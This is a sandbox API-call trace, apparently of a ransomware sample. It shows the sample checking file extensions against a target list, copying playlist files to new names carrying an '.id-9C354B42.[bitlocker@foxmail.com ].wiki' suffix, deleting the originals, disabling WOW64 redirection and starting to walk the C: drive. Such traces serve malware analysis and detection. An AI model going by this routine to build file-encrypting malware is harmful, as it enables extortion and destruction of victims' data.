lstrlenW (lpString=".rar") returned 4 [0181.541] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.541] lstrlenW (lpString=".bz2") returned 4 [0181.541] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.541] lstrlenW (lpString=".7z") returned 3 [0181.541] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 113 [0181.541] lstrlenW (lpString=".dbf") returned 4 [0181.541] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 113 [0181.541] lstrlenW (lpString=".1cd") returned 4 [0181.541] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl") returned 113 [0181.541] lstrlenW (lpString=".jpg") returned 4 [0181.541] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0181.542] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0181.542] lstrlenW (lpString="11_All_Pictures.wpl") returned 19 [0181.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.543] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=585) returned 1 [0181.543] CloseHandle (hObject=0x158) returned 1 [0181.543] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl")) returned 0x2020 [0181.543] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.543] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.543] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0181.543] GetLastError () returned 0x0 [0181.543] ReadFile (in: hFile=0x158, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x249, lpOverlapped=0x0) returned 1 [0181.545] WriteFile (in: hFile=0x19c, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x250, lpOverlapped=0x0) returned 1 [0181.546] ReadFile (in: hFile=0x158, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0181.546] WriteFile (in: hFile=0x19c, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0181.546] SetEndOfFile (hFile=0x19c) returned 1 [0181.546] CloseHandle (hObject=0x19c) returned 1 [0181.546] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.546] SetEndOfFile (hFile=0x158) returned 1 [0181.547] CloseHandle (hObject=0x158) returned 1 [0181.547] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.547] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl")) returned 1 [0181.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 116 [0181.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 116 [0181.547] lstrlenW (lpString=".doc") returned 4 [0181.547] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.547] lstrlenW (lpString=".docx") returned 5 [0181.547] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0181.547] lstrlenW (lpString=".pdf") returned 4 [0181.547] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.547] lstrlenW (lpString=".xls") returned 4 [0181.547] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.547] lstrlenW (lpString=".xlsx") returned 5 [0181.547] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0181.547] lstrlenW (lpString=".ppt") returned 4 [0181.547] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 116 [0181.548] lstrlenW (lpString=".zip") returned 4 [0181.548] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.548] lstrlenW (lpString=".rar") returned 4 [0181.548] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.548] lstrlenW (lpString=".bz2") returned 4 [0181.548] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.548] lstrlenW (lpString=".7z") returned 3 [0181.548] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 116 [0181.548] lstrlenW (lpString=".dbf") returned 4 [0181.548] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 116 [0181.548] lstrlenW (lpString=".1cd") returned 4 [0181.548] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 116 [0181.548] lstrlenW (lpString=".jpg") returned 4 [0181.548] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0181.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 116 [0181.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 116 [0181.548] lstrlenW (lpString=".doc") returned 4 [0181.548] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.548] lstrlenW (lpString=".docx") returned 5 [0181.548] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0181.548] lstrlenW (lpString=".pdf") returned 4 [0181.548] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.548] lstrlenW (lpString=".xls") returned 4 [0181.548] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.548] lstrlenW (lpString=".xlsx") returned 5 [0181.548] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0181.548] lstrlenW (lpString=".ppt") returned 4 [0181.548] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 116 [0181.549] lstrlenW (lpString=".zip") returned 4 [0181.549] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.549] lstrlenW (lpString=".rar") returned 4 [0181.549] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.549] lstrlenW (lpString=".bz2") returned 4 [0181.549] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.549] lstrlenW (lpString=".7z") returned 3 [0181.549] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 116 [0181.549] lstrlenW (lpString=".dbf") returned 4 [0181.549] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 116 [0181.549] lstrlenW (lpString=".1cd") returned 4 [0181.549] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.549] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl") returned 116 [0181.549] lstrlenW (lpString=".jpg") returned 4 [0181.549] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0181.549] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0181.549] lstrlenW (lpString="12_All_Video.wpl") returned 16 [0181.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.550] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1079) returned 1 [0181.550] CloseHandle (hObject=0x158) returned 1 [0181.550] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl")) returned 0x2020 [0181.550] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.550] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.550] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0181.550] GetLastError () returned 0x0 [0181.551] ReadFile (in: hFile=0x158, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x437, lpOverlapped=0x0) returned 1 [0181.552] WriteFile (in: hFile=0x19c, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x440, lpOverlapped=0x0) returned 1 [0181.553] ReadFile (in: hFile=0x158, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0181.553] WriteFile (in: hFile=0x19c, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0181.553] SetEndOfFile (hFile=0x19c) returned 1 [0181.553] CloseHandle (hObject=0x19c) returned 1 [0181.553] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.553] SetEndOfFile (hFile=0x158) returned 1 [0181.554] CloseHandle (hObject=0x158) returned 1 [0181.554] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.554] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl")) returned 1 [0181.558] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 113 [0181.558] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 113 [0181.558] lstrlenW (lpString=".doc") returned 4 [0181.558] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.558] lstrlenW (lpString=".docx") returned 5 [0181.558] lstrcmpiW (lpString1=".docx", lpString2="o.wpl") returned -1 [0181.558] lstrlenW (lpString=".pdf") returned 4 [0181.558] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.558] lstrlenW (lpString=".xls") returned 4 [0181.558] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.558] lstrlenW (lpString=".xlsx") returned 5 [0181.558] lstrcmpiW (lpString1=".xlsx", lpString2="o.wpl") returned -1 [0181.558] lstrlenW (lpString=".ppt") returned 4 [0181.559] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.559] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 113 [0181.559] lstrlenW (lpString=".zip") returned 4 [0181.559] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.559] lstrlenW (lpString=".rar") returned 4 [0181.559] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.559] lstrlenW (lpString=".bz2") returned 4 [0181.559] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.559] lstrlenW (lpString=".7z") returned 3 [0181.559] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.559] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 113 [0181.559] lstrlenW (lpString=".dbf") returned 4 [0181.559] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.559] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 113 [0181.559] lstrlenW (lpString=".1cd") returned 4 [0181.559] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.559] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 113 [0181.559] lstrlenW (lpString=".jpg") returned 4 [0181.559] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0181.559] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 113 [0181.559] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 113 [0181.559] lstrlenW (lpString=".doc") returned 4 [0181.559] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.559] lstrlenW (lpString=".docx") returned 5 [0181.559] lstrcmpiW (lpString1=".docx", lpString2="o.wpl") returned -1 [0181.559] lstrlenW (lpString=".pdf") returned 4 [0181.559] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.559] lstrlenW (lpString=".xls") returned 4 [0181.559] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.749] lstrlenW (lpString=".xlsx") returned 5 [0181.762] lstrcmpiW (lpString1=".xlsx", lpString2="o.wpl") returned -1 [0181.762] lstrlenW (lpString=".ppt") returned 4 [0181.762] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 113 [0181.762] lstrlenW (lpString=".zip") returned 4 [0181.762] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.762] lstrlenW (lpString=".rar") returned 4 [0181.762] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.762] lstrlenW (lpString=".bz2") returned 4 [0181.762] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.762] lstrlenW (lpString=".7z") returned 3 [0181.762] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 113 [0181.762] lstrlenW (lpString=".dbf") returned 4 [0181.762] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 113 [0181.762] lstrlenW (lpString=".1cd") returned 4 [0181.762] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl") returned 113 [0181.762] lstrlenW (lpString=".jpg") returned 4 [0181.762] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0181.762] lstrlenW (lpString=".id-") returned 4 [0181.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6816d8 | out: hHeap=0x630000) returned 1 [0181.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ae1f8 | out: hHeap=0x630000) returned 1 [0181.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3b704a0 | out: hHeap=0x630000) returned 1 [0181.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3b804a8 | out: hHeap=0x630000) returned 1 [0181.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4040020 | out: hHeap=0x630000) returned 1 [0181.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6816c0 | out: hHeap=0x630000) returned 1 [0181.768] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6816c0 [0181.768] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6816c0, Size=0x20) returned 0x69e738 [0181.768] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6816c0 [0181.768] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6816c0, Size=0x20) returned 0x69e670 [0181.768] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.976] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.976] Wow64DisableWow64FsRedirection (in: OldValue=0x351ff58 | out: OldValue=0x351ff58*=0x1) returned 1 [0181.976] lstrlenW (lpString="kernel32.dll") returned 12 [0181.976] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e670 | out: hHeap=0x630000) returned 1 [0181.976] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.976] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e738 | out: hHeap=0x630000) returned 1 Thread: id = 343 os_tid = 0x574 [0147.793] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x3b904b0 [0147.794] lstrlenW (lpString="C:") returned 2 [0147.794] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x365fd00 | out: lpFindFileData=0x365fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x6a2cc0 [0147.794] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0147.794] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0147.794] lstrlenW (lpString="$Recycle.Bin") returned 12 [0147.794] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0147.794] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x3ba04b8 [0147.794] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0147.794] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x365fa84 | out: lpFindFileData=0x365fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6a2d00 [0147.795] FindNextFileW (in: hFindFile=0x6a2d00, lpFindFileData=0x365fa84 | out: lpFindFileData=0x365fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.795] FindNextFileW (in: hFindFile=0x6a2d00, lpFindFileData=0x365fa84 | out: lpFindFileData=0x365fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0147.795] 